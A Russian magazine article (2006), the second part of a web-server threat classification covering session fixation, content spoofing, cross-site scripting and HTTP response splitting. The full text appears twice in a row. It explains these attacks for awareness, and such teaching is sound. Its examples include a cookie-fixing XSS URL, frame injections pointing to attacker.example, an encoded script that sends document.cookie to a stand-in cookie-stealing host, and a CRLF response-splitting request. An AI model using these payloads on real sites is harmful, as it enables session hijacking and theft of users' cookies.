Классификация угроз безопасности web-серверов. Часть 2
Продолжение. Начало в КГ №6
2.4. Фиксация сессии (Session Fixation). Используя данный класс атак, злоумышленник присваивает идентификатору сессии пользователя заданное значение. В зависимости от функциональных возможностей сервера существует несколько способов зафиксировать значение идентификатора сессии. Для этого могут использоваться атаки типа "межсайтовое выполнение сценариев" или подготовка сайта с помощью предварительного HTTP-запроса. После фиксации значения идентификатора сессии атакующий ожидает момента, когда пользователь войдет в систему. После входа пользователя злоумышленник использует идентификатор сессии для получения доступа к системе от имени пользователя. Существуют два механизма управления сессиями на основе идентификаторов. Первый из них — так называемый разрешающий — основан на том, что конкретный идентификатор сессии присваивается браузером. Механизмы второго — строгого — типа функционируют с идентификаторами, сгенерированные сервером. В случае разрешающих механизмов злонамеренный пользователь может выбрать любой идентификатор сессии. При условии отсутствия спецзащиты от фиксации сессии данная атака может быть использована против любого сервера, аутентифицирующего пользователей с помощью идентификатора сессии. Не секрет, что большинство web-серверов сохраняют ID в cookie, но это значение также может присутствовать в URL или скрытом поле формы. К сожалению, системы, использующие cookie, являются наиболее уязвимыми. Большинство известных на настоящий момент вариантов фиксации сессии направлены именно на значение cookie (кстати, не грех будет напомнить, что сохраненные пароли вашего e-mail'а, входа на персональный сайт, ну, и прочие сохраняются все в тех же пресловутых cookie, которые можно найти по адресу: C:\Documents and Settings\Username\Cookies.) После вышеописанного нетрудно догадаться, каким именно образом Spy-софт похищает ваши конфиденциальные данные…
Рассмотрим подробно атаку, направленную на фиксацию сессии. Атака осуществляется в три этапа. На первом этапе злонамеренный пользователь устанавливает на атакуемом сервере так называемую сессию-заглушку и получает (или выбирает произвольный в зависимости от механизма) от него идентификатор. На втором этапе собственно и происходит фиксация сессии, когда злоумышленник передает значение идентификатора сессии-заглушки браузеру пользователя и фиксирует его идентификатор. Данный пункт реализуется посредством модификации значения cookie с помощью пресловутого XSS. Следующим шагом атакующего является собственно подключение к сессии: атакующий ожидает аутентификации пользователя на сервере. После захода пользователя на сайт злоумышленник подключается к серверу, используя зафиксированный идентификатор, и получает доступ к сессии пользователя. Как вы уже поняли, "гвоздем программы" является фиксация ID, которая реализуется посредством следующих действий: а) при наличии уязвимости типа "межсайтовое выполнение сценариев" злоумышленник получает возможность установить определенное значение cookie на стороне клиента посредством следующего кода:
httр://example/<script>document.cookie="sessionid=
1234;%20domain=.example.dom";</script>.idc.
Вариант b предусматривает установку нужного значения cookie с помощью тега META. Также возможна установка cookie с использованием заголовка HTTP-ответа.
3. Атаки на клиентов (Client-side Attacks). Нижеследующие подпункты являются описанием атак на пользователей web-сервера. Во время посещения сайта между пользователем и сервером устанавливаются доверительные отношения, как в технологическом, так и в психологическом аспектах. Говоря простым языком, пользователь ожидает, что сайт предоставит ему легитимное безопасное содержимое. Кроме того, пользователь не ожидает атак со стороны сайта. Эксплуатируя это доверие, злоумышленник может использовать различные методы для проведения атак на клиентов сервера. 3.1. Подмена содержимого (Content Spoofing). Наверное, многие из читателей встречались с выражением "дефейс сайта". Так вот, дефейс — это грубая подмена содержимого. Однако это не есть самое интересное… В отличие от дефейса, следующий способ подмены не преследует цели обескуражить посетивших сайт нецензурными выражениями. Его задачи другие. (Посмотрим какие;)). Используя следующую технику подмены содержимого, злоумышленник заставляет пользователя поверить, что страницы сгенерированны web-сервером, а не переданы из внешнего источника. Как это происходит? Некоторые web-страницы создаются с использованием динамических источников HTML-кода. К примеру, расположение фрейма (<frame src="httр://foo.example/file.html">) может передаваться в следующем параметре URL (httр://foo.example/page?frame_src= http://foo.example/file.html). Атакующий может заменить исходное значение параметра "frame_src" на "frame_src= httр://attacker.example/spoof.html".
Когда будет отображаться результирующая страница, в строке адреса браузера пользователя будет отображаться адрес сервера (foo.example), но на странице также будет присутствовать внешнее содержимое, загруженное с сервера атакующего (attacker.example), замаскированное под легальный контент. Получается довольно оригинальная ситуация. Пользователь может и не подозревать, что вводит секретные данные, становящиеся достоянием того, кто умело подделал оригинальную страницу. Задача злонамеренного пользователя, как вы уже догадались, сводится к тому, чтобы юзер перенаправился по специально созданной ссылке. Последняя в виде спама может быть прислана по электронной почте, системе моментального обмена сообщениями, опубликована на доске сообщений или открыта в браузере пользователя с использованием межсайтового выполнения сценариев. В качестве примера реализации данной атаки с успехом подойдет создание ложного пресс-релиза. Предположим, что web-сервер динамически генерирует фреймы на странице с пресс-релизами компании. Когда пользователь перейдет по ссылке httр://foo.example/pr?pg= http://foo.example/pr/01012003.html, в его браузер загрузится страница следующего содержания (пример кода):
<HTML>
<FRAMESET COLS="100, *">
<FRAME NAME="pr_menu" SRC="menu.html">
<FRAME NAME="pr_content" SRC=" http://foo.example/pr/01012003.html>
</FRAMESET>
</HTML>
Приложение "pr" создает страницу с меню и динамически генерируемым значением тега FRAME SRC. Фрейм "pr_content" отображает страницу, указанную в параметре "pg" HTTP-запроса. Но, поскольку атакующий изменил нормальный URL на значение httр://foo.example/pr?pg= http://attacker.example/spoofed_press_release.html, и сервер не проводит проверки параметра "pg", результирующий HTML- код будет иметь следующий вид:
<HTML>
<FRAMESET COLS="100, *">
<FRAME NAME="pr_menu" SRC="menu.html">
<FRAME NAME="pr_content"
SRC=" http://attacker.example/spoofed_press_release.html">
</FRAMESET>
</HTML>
В результате "attacker.example" будет выглядеть так, как будто это страница сервера "foo.example".
3.2. Межсайтовое выполнение сценариев (Cross-site Scripting, XSS). Наличие уязвимости Cross-site Scripting позволяет атакующему передать серверу исполняемый код, который будет перенаправлен браузеру пользователя. Для написания подобного кода обычно используются HTML/JavaScript, но могут быть применены и VBScript, ActiveX, Java, Flash и др. Переданный код исполняется в контексте безопасности (или зоне безопасности) уязвимого сервера. Используя текущие привилегии, код получает возможность читать, модифицировать или передавать важные данные, доступные с помощью браузера (здесь совсем не грех будет вспомнить, что, если вы работаете с правами админа, шансов попасться на такой крючок больше…). При данном виде атаки у атакованного пользователя может быть скомпрометирован аккаунт (кража cookie), его браузер может быть перенаправлен на другой сервер или осуществлена подмена содержимого сервера. В результате тщательно спланированной атаки злоумышленник может использовать браузер жертвы для просмотра страниц сайта от имени атакуемого пользователя. Передача кода в таких случаях осуществляется через URL, в заголовках http-запроса (cookie, user-agent, refferer), значениях полей форм и т.д. Существует два типа атак, приводящих к межсайтовому выполнению сценариев: постоянные (сохраненные) и непостоянные (отраженные). Основным отличием между ними является то, что в отраженном варианте передача кода серверу и возврат его клиенту осуществляется в рамках одного HTTP-запроса, а в сохраненном — в разных. Осуществление непостоянной атаки требует, чтобы пользователь перешел по ссылке, сформированной злоумышленником (ссылка может быть передана по e-mail, ICQ и т.д.). В процессе загрузки сайта код, внедренный в URL или заголовки запроса, будет передан клиенту и выполнен в его браузере. Сохраненная разновидность уязвимости возникает, когда код передается серверу и сохраняется на нем на некоторый промежуток времени. Наиболее популярными целями атак в этом случае являются форумы, почта с web-интерфейсом и чаты. Что самое интересное в данном случае? Следующее: для атаки пользователю не обязательно переходить по ссылке — достаточно посетить уязвимый сайт(!). За примерами далеко ходить не приходится: многие сайты имеют доски объявлений и форумы, которые позволяют пользователям оставлять сообщения. Зарегистрированный пользователь обычно идентифицируется по номеру сессии, сохраняемому в cookie. Если атакующий оставит сообщение, содержащее код на языке JavaScript, он получит доступ к идентификатору сессии пользователя. Многие серверы предоставляют пользователям возможность поиска по содержимому сервера. Как правило, запрос передается в URL и содержится в результирующей странице. К примеру, при переходе по URL httр://portal.example/search?q="fresh beer" пользователю будет отображена страница, содержащая результаты поиска и фразу: "По вашему запросу fresh beer найдено 0 страниц". Если в качестве искомой фразы будет передан Javascript, он выполнится в браузере пользователя. Пример: httр://portal.example/search/?q=<script>alert("xss")</script>
Для сокрытия кода сценария может быть использована кодировка URLEncode: httр://portal.example/index.php?sessionid=12312312&
username=%3C%73%63%72%69%70%74%3E%64%6F%63%75%6D%65
%6E%74%2E%6C%6F%63%61%74%69%6F%6E%3D%27%68%74%74%70
%3A%2F%2F%61%74%74%61%63%6B%65%72%68%6F%73%74%2E%65
%78%61%6D%70%6C%65%2F%63%67%69%2D%62%69%6E%2F%63%6F
%6F%6B%69%65%73%74%65%61%6C%2E%63%67%69%3F%27%2B%64
%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%3C%2F%73
%63%72%69%70%74%3E
3.3. Расщепление HTTP-запроса (HTTP Response Splitting). Для эксплуатации данной уязвимости злоумышленник должен послать серверу специальным образом сформированный запрос, ответ на который интерпретируется целью атаки как два разных ответа. Второй ответ полностью контролируется злоумышленником, что дает ему возможность подделать ответ сервера. Возможность осуществления атаки возникает, когда сервер возвращает данные, предоставленные пользователем в заголовках http-ответа. Обычно это происходит при перенаправлении пользователя на другую страницу (коды HTTP 3xx) или когда данные, полученные от пользователя, сохраняются в cookie. В первой ситуации URL, на который происходит перенаправление, являются частью заголовка Location HTTP ответа, а во втором случае значение cookie передается в заголовке Set-Cookie. Основой расщепления HTTP-запроса является внедрение символов перевода строки (CR и LF) таким образом, чтобы сформировать две http-транзакции, в то время как реально будет происходить только одна. Перевод строки используется для того, чтобы закрыть первую (стандартную) транзакцию и сформировать вторую пару вопрос/ответ, полностью контролируемую злоумышленником и абсолютно непредусмотренную логикой приложения. В результате успешной реализации этой атаки злоумышленник может выполнить следующие действия:
1. Межсайтовое выполнение сценариев.
2. Модификация данных кэша сервера-посредника. Некоторые кэширующие серверы-посредники (Squid 2.4, NetCache 5.2, Apache Proxy 2.0 и ряд других) сохраняют подделанный злоумышленником ответ на жестком диске и на последующие запросы пользователей по данному адресу возвращают кэшированные данные. Это приводит к замене страниц сервера на клиентской стороне. Кроме этого, злоумышленник может переправить себе значение Cookie пользователя или присвоить им определенное значение. Эта атака может быть также направлена на индивидуальный кэш браузера пользователя.
3. Межпользовательская атака (один пользователь, одна страница, временная подмена страницы). При реализации этой атаки злоумышленник не посылает дополнительный запрос. Вместо этого используется тот факт, что некоторые серверы-посредники разделяют одно TCP-соединение с сервером между несколькими пользователями. В результате второй пользователь получает в ответ страницу, сформированную злоумышленником. Кроме подмены страницы, злоумышленник может также выполнить различные операции с cookie пользователя.
4. Перехват страниц, содержащих пользовательские данные. В этом случае злоумышленник получает ответ сервера вместо самого пользователя. Таким образом, он может получить доступ к важной или конфиденциальной информации. Ниже приведен пример JSP-страницы:
/redir_lang.jsp <% response.sendRedirect("/by_lang.jsp?lang="+ request.getParameter("lang")); %>
Когда данная страница вызывается пользователем с параметром lang=English, она направляет его браузер на страницу /by_lang.jsp?lang=English. Типичный ответ сервера выглядит следующим образом (используется сервер BEA WebLogic 8.1 SP1): HTTP/1.1 302 Moved Temporarily
Date: Wed, 24 Dec 2003 12:53:28 GMT
Location: http://10.1.1.1/by_lang.jsp?lang=English
Server: WebLogic XMLX Module 8.1 SP1 Fri Jun 20 23:06:40 PDT 2003
271009 with
Content-Type: text/html
Set-Cookie:
JSESSIONID=1pMRZOiOQzZiE6Y6iivsREg82pq9Bo1ape7h4YoHZ62RXj
ApqwBE!-1251019693; path=/
Connection: Close
<html><head><title>302 Moved Temporarily</title></head>
<body bgcolor="#FFFFFF">
<p>This document you requested has moved temporarily.</p>
<p>It's now at <a
href="httр://10.1.1.1/by_lang.jsp?lang=English">httр://10.1.1.1/by_lang.jsp?lan
g=English</a>.</p>
</body></html>
При анализе ответа видно, что значение параметра lang передается в значении заголовка Location. При реализации атаки злоумышленник посылает в качестве значения lang символы перевода строки для того, чтобы закрыть ответ сервера и сформировать еще один:
/redir_lang.jsp?lang=foobar%0d%0aContent-
Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-
Type:%20text/html%0d%0aContent-
Length:%2019%0d%0a%0d%0a<html>Shazam</html>
При обработке этого запроса сервер передаст следующие данные:
HTTP/1.1 302 Moved Temporarily
Date: Wed, 24 Dec 2003 15:26:41 GMT
Location: http://10.1.1.1/by_lang.jsp?lang=foobar
Content-Length: 0
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 19
<html>Shazam</html>
Server: WebLogic XMLX Module 8.1 SP1 Fri Jun 20 23:06:40 PDT 2003
271009 with
Content-Type: text/html
Set-Cookie:
JSESSIONID=1pwxbgHwzeaIIFyaksxqsq92Z0VULcQUcAanfK7In7IyrCST
9UsS!-1251019693; path=/
Эти данные будут обработаны клиентом следующим образом:
— Первый ответ с кодом 302 будет командой перенаправления.
— Второй ответ (код 200) объемом в 19 байт будет считаться содержимым той страницы, на которую происходит перенаправление.
— Остальные данные, согласно спецификации HTTP, игнорируются клиентом.
Продолжение следует.
Ориг. класс. Web Application Security Consortium
Бойцев О.М., boyscout_zone@yahoo.com
2.4. Фиксация сессии (Session Fixation). Используя данный класс атак, злоумышленник присваивает идентификатору сессии пользователя заданное значение. В зависимости от функциональных возможностей сервера существует несколько способов зафиксировать значение идентификатора сессии. Для этого могут использоваться атаки типа "межсайтовое выполнение сценариев" или подготовка сайта с помощью предварительного HTTP-запроса. После фиксации значения идентификатора сессии атакующий ожидает момента, когда пользователь войдет в систему. После входа пользователя злоумышленник использует идентификатор сессии для получения доступа к системе от имени пользователя. Существуют два механизма управления сессиями на основе идентификаторов. Первый из них — так называемый разрешающий — основан на том, что конкретный идентификатор сессии присваивается браузером. Механизмы второго — строгого — типа функционируют с идентификаторами, сгенерированные сервером. В случае разрешающих механизмов злонамеренный пользователь может выбрать любой идентификатор сессии. При условии отсутствия спецзащиты от фиксации сессии данная атака может быть использована против любого сервера, аутентифицирующего пользователей с помощью идентификатора сессии. Не секрет, что большинство web-серверов сохраняют ID в cookie, но это значение также может присутствовать в URL или скрытом поле формы. К сожалению, системы, использующие cookie, являются наиболее уязвимыми. Большинство известных на настоящий момент вариантов фиксации сессии направлены именно на значение cookie (кстати, не грех будет напомнить, что сохраненные пароли вашего e-mail'а, входа на персональный сайт, ну, и прочие сохраняются все в тех же пресловутых cookie, которые можно найти по адресу: C:\Documents and Settings\Username\Cookies.) После вышеописанного нетрудно догадаться, каким именно образом Spy-софт похищает ваши конфиденциальные данные…
Рассмотрим подробно атаку, направленную на фиксацию сессии. Атака осуществляется в три этапа. На первом этапе злонамеренный пользователь устанавливает на атакуемом сервере так называемую сессию-заглушку и получает (или выбирает произвольный в зависимости от механизма) от него идентификатор. На втором этапе собственно и происходит фиксация сессии, когда злоумышленник передает значение идентификатора сессии-заглушки браузеру пользователя и фиксирует его идентификатор. Данный пункт реализуется посредством модификации значения cookie с помощью пресловутого XSS. Следующим шагом атакующего является собственно подключение к сессии: атакующий ожидает аутентификации пользователя на сервере. После захода пользователя на сайт злоумышленник подключается к серверу, используя зафиксированный идентификатор, и получает доступ к сессии пользователя. Как вы уже поняли, "гвоздем программы" является фиксация ID, которая реализуется посредством следующих действий: а) при наличии уязвимости типа "межсайтовое выполнение сценариев" злоумышленник получает возможность установить определенное значение cookie на стороне клиента посредством следующего кода:
httр://example/<script>document.cookie="sessionid=
1234;%20domain=.example.dom";</script>.idc.
Вариант b предусматривает установку нужного значения cookie с помощью тега META. Также возможна установка cookie с использованием заголовка HTTP-ответа.
3. Атаки на клиентов (Client-side Attacks). Нижеследующие подпункты являются описанием атак на пользователей web-сервера. Во время посещения сайта между пользователем и сервером устанавливаются доверительные отношения, как в технологическом, так и в психологическом аспектах. Говоря простым языком, пользователь ожидает, что сайт предоставит ему легитимное безопасное содержимое. Кроме того, пользователь не ожидает атак со стороны сайта. Эксплуатируя это доверие, злоумышленник может использовать различные методы для проведения атак на клиентов сервера. 3.1. Подмена содержимого (Content Spoofing). Наверное, многие из читателей встречались с выражением "дефейс сайта". Так вот, дефейс — это грубая подмена содержимого. Однако это не есть самое интересное… В отличие от дефейса, следующий способ подмены не преследует цели обескуражить посетивших сайт нецензурными выражениями. Его задачи другие. (Посмотрим какие;)). Используя следующую технику подмены содержимого, злоумышленник заставляет пользователя поверить, что страницы сгенерированны web-сервером, а не переданы из внешнего источника. Как это происходит? Некоторые web-страницы создаются с использованием динамических источников HTML-кода. К примеру, расположение фрейма (<frame src="httр://foo.example/file.html">) может передаваться в следующем параметре URL (httр://foo.example/page?frame_src= http://foo.example/file.html). Атакующий может заменить исходное значение параметра "frame_src" на "frame_src= httр://attacker.example/spoof.html".
Когда будет отображаться результирующая страница, в строке адреса браузера пользователя будет отображаться адрес сервера (foo.example), но на странице также будет присутствовать внешнее содержимое, загруженное с сервера атакующего (attacker.example), замаскированное под легальный контент. Получается довольно оригинальная ситуация. Пользователь может и не подозревать, что вводит секретные данные, становящиеся достоянием того, кто умело подделал оригинальную страницу. Задача злонамеренного пользователя, как вы уже догадались, сводится к тому, чтобы юзер перенаправился по специально созданной ссылке. Последняя в виде спама может быть прислана по электронной почте, системе моментального обмена сообщениями, опубликована на доске сообщений или открыта в браузере пользователя с использованием межсайтового выполнения сценариев. В качестве примера реализации данной атаки с успехом подойдет создание ложного пресс-релиза. Предположим, что web-сервер динамически генерирует фреймы на странице с пресс-релизами компании. Когда пользователь перейдет по ссылке httр://foo.example/pr?pg= http://foo.example/pr/01012003.html, в его браузер загрузится страница следующего содержания (пример кода):
<HTML>
<FRAMESET COLS="100, *">
<FRAME NAME="pr_menu" SRC="menu.html">
<FRAME NAME="pr_content" SRC=" http://foo.example/pr/01012003.html>
</FRAMESET>
</HTML>
Приложение "pr" создает страницу с меню и динамически генерируемым значением тега FRAME SRC. Фрейм "pr_content" отображает страницу, указанную в параметре "pg" HTTP-запроса. Но, поскольку атакующий изменил нормальный URL на значение httр://foo.example/pr?pg= http://attacker.example/spoofed_press_release.html, и сервер не проводит проверки параметра "pg", результирующий HTML- код будет иметь следующий вид:
<HTML>
<FRAMESET COLS="100, *">
<FRAME NAME="pr_menu" SRC="menu.html">
<FRAME NAME="pr_content"
SRC=" http://attacker.example/spoofed_press_release.html">
</FRAMESET>
</HTML>
В результате "attacker.example" будет выглядеть так, как будто это страница сервера "foo.example".
3.2. Межсайтовое выполнение сценариев (Cross-site Scripting, XSS). Наличие уязвимости Cross-site Scripting позволяет атакующему передать серверу исполняемый код, который будет перенаправлен браузеру пользователя. Для написания подобного кода обычно используются HTML/JavaScript, но могут быть применены и VBScript, ActiveX, Java, Flash и др. Переданный код исполняется в контексте безопасности (или зоне безопасности) уязвимого сервера. Используя текущие привилегии, код получает возможность читать, модифицировать или передавать важные данные, доступные с помощью браузера (здесь совсем не грех будет вспомнить, что, если вы работаете с правами админа, шансов попасться на такой крючок больше…). При данном виде атаки у атакованного пользователя может быть скомпрометирован аккаунт (кража cookie), его браузер может быть перенаправлен на другой сервер или осуществлена подмена содержимого сервера. В результате тщательно спланированной атаки злоумышленник может использовать браузер жертвы для просмотра страниц сайта от имени атакуемого пользователя. Передача кода в таких случаях осуществляется через URL, в заголовках http-запроса (cookie, user-agent, refferer), значениях полей форм и т.д. Существует два типа атак, приводящих к межсайтовому выполнению сценариев: постоянные (сохраненные) и непостоянные (отраженные). Основным отличием между ними является то, что в отраженном варианте передача кода серверу и возврат его клиенту осуществляется в рамках одного HTTP-запроса, а в сохраненном — в разных. Осуществление непостоянной атаки требует, чтобы пользователь перешел по ссылке, сформированной злоумышленником (ссылка может быть передана по e-mail, ICQ и т.д.). В процессе загрузки сайта код, внедренный в URL или заголовки запроса, будет передан клиенту и выполнен в его браузере. Сохраненная разновидность уязвимости возникает, когда код передается серверу и сохраняется на нем на некоторый промежуток времени. Наиболее популярными целями атак в этом случае являются форумы, почта с web-интерфейсом и чаты. Что самое интересное в данном случае? Следующее: для атаки пользователю не обязательно переходить по ссылке — достаточно посетить уязвимый сайт(!). За примерами далеко ходить не приходится: многие сайты имеют доски объявлений и форумы, которые позволяют пользователям оставлять сообщения. Зарегистрированный пользователь обычно идентифицируется по номеру сессии, сохраняемому в cookie. Если атакующий оставит сообщение, содержащее код на языке JavaScript, он получит доступ к идентификатору сессии пользователя. Многие серверы предоставляют пользователям возможность поиска по содержимому сервера. Как правило, запрос передается в URL и содержится в результирующей странице. К примеру, при переходе по URL httр://portal.example/search?q="fresh beer" пользователю будет отображена страница, содержащая результаты поиска и фразу: "По вашему запросу fresh beer найдено 0 страниц". Если в качестве искомой фразы будет передан Javascript, он выполнится в браузере пользователя. Пример: httр://portal.example/search/?q=<script>alert("xss")</script>
Для сокрытия кода сценария может быть использована кодировка URLEncode: httр://portal.example/index.php?sessionid=12312312&
username=%3C%73%63%72%69%70%74%3E%64%6F%63%75%6D%65
%6E%74%2E%6C%6F%63%61%74%69%6F%6E%3D%27%68%74%74%70
%3A%2F%2F%61%74%74%61%63%6B%65%72%68%6F%73%74%2E%65
%78%61%6D%70%6C%65%2F%63%67%69%2D%62%69%6E%2F%63%6F
%6F%6B%69%65%73%74%65%61%6C%2E%63%67%69%3F%27%2B%64
%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%3C%2F%73
%63%72%69%70%74%3E
3.3. Расщепление HTTP-запроса (HTTP Response Splitting). Для эксплуатации данной уязвимости злоумышленник должен послать серверу специальным образом сформированный запрос, ответ на который интерпретируется целью атаки как два разных ответа. Второй ответ полностью контролируется злоумышленником, что дает ему возможность подделать ответ сервера. Возможность осуществления атаки возникает, когда сервер возвращает данные, предоставленные пользователем в заголовках http-ответа. Обычно это происходит при перенаправлении пользователя на другую страницу (коды HTTP 3xx) или когда данные, полученные от пользователя, сохраняются в cookie. В первой ситуации URL, на который происходит перенаправление, являются частью заголовка Location HTTP ответа, а во втором случае значение cookie передается в заголовке Set-Cookie. Основой расщепления HTTP-запроса является внедрение символов перевода строки (CR и LF) таким образом, чтобы сформировать две http-транзакции, в то время как реально будет происходить только одна. Перевод строки используется для того, чтобы закрыть первую (стандартную) транзакцию и сформировать вторую пару вопрос/ответ, полностью контролируемую злоумышленником и абсолютно непредусмотренную логикой приложения. В результате успешной реализации этой атаки злоумышленник может выполнить следующие действия:
1. Межсайтовое выполнение сценариев.
2. Модификация данных кэша сервера-посредника. Некоторые кэширующие серверы-посредники (Squid 2.4, NetCache 5.2, Apache Proxy 2.0 и ряд других) сохраняют подделанный злоумышленником ответ на жестком диске и на последующие запросы пользователей по данному адресу возвращают кэшированные данные. Это приводит к замене страниц сервера на клиентской стороне. Кроме этого, злоумышленник может переправить себе значение Cookie пользователя или присвоить им определенное значение. Эта атака может быть также направлена на индивидуальный кэш браузера пользователя.
3. Межпользовательская атака (один пользователь, одна страница, временная подмена страницы). При реализации этой атаки злоумышленник не посылает дополнительный запрос. Вместо этого используется тот факт, что некоторые серверы-посредники разделяют одно TCP-соединение с сервером между несколькими пользователями. В результате второй пользователь получает в ответ страницу, сформированную злоумышленником. Кроме подмены страницы, злоумышленник может также выполнить различные операции с cookie пользователя.
4. Перехват страниц, содержащих пользовательские данные. В этом случае злоумышленник получает ответ сервера вместо самого пользователя. Таким образом, он может получить доступ к важной или конфиденциальной информации. Ниже приведен пример JSP-страницы:
/redir_lang.jsp <% response.sendRedirect("/by_lang.jsp?lang="+ request.getParameter("lang")); %>
Когда данная страница вызывается пользователем с параметром lang=English, она направляет его браузер на страницу /by_lang.jsp?lang=English. Типичный ответ сервера выглядит следующим образом (используется сервер BEA WebLogic 8.1 SP1): HTTP/1.1 302 Moved Temporarily
Date: Wed, 24 Dec 2003 12:53:28 GMT
Location: http://10.1.1.1/by_lang.jsp?lang=English
Server: WebLogic XMLX Module 8.1 SP1 Fri Jun 20 23:06:40 PDT 2003
271009 with
Content-Type: text/html
Set-Cookie:
JSESSIONID=1pMRZOiOQzZiE6Y6iivsREg82pq9Bo1ape7h4YoHZ62RXj
ApqwBE!-1251019693; path=/
Connection: Close
<html><head><title>302 Moved Temporarily</title></head>
<body bgcolor="#FFFFFF">
<p>This document you requested has moved temporarily.</p>
<p>It's now at <a
href="httр://10.1.1.1/by_lang.jsp?lang=English">httр://10.1.1.1/by_lang.jsp?lan
g=English</a>.</p>
</body></html>
При анализе ответа видно, что значение параметра lang передается в значении заголовка Location. При реализации атаки злоумышленник посылает в качестве значения lang символы перевода строки для того, чтобы закрыть ответ сервера и сформировать еще один:
/redir_lang.jsp?lang=foobar%0d%0aContent-
Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-
Type:%20text/html%0d%0aContent-
Length:%2019%0d%0a%0d%0a<html>Shazam</html>
При обработке этого запроса сервер передаст следующие данные:
HTTP/1.1 302 Moved Temporarily
Date: Wed, 24 Dec 2003 15:26:41 GMT
Location: http://10.1.1.1/by_lang.jsp?lang=foobar
Content-Length: 0
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 19
<html>Shazam</html>
Server: WebLogic XMLX Module 8.1 SP1 Fri Jun 20 23:06:40 PDT 2003
271009 with
Content-Type: text/html
Set-Cookie:
JSESSIONID=1pwxbgHwzeaIIFyaksxqsq92Z0VULcQUcAanfK7In7IyrCST
9UsS!-1251019693; path=/
Эти данные будут обработаны клиентом следующим образом:
— Первый ответ с кодом 302 будет командой перенаправления.
— Второй ответ (код 200) объемом в 19 байт будет считаться содержимым той страницы, на которую происходит перенаправление.
— Остальные данные, согласно спецификации HTTP, игнорируются клиентом.
Продолжение следует.
Ориг. класс. Web Application Security Consortium
Бойцев О.М., boyscout_zone@yahoo.com
Компьютерная газета. Статья была опубликована в номере 07 за 2006 год в рубрике безопасность
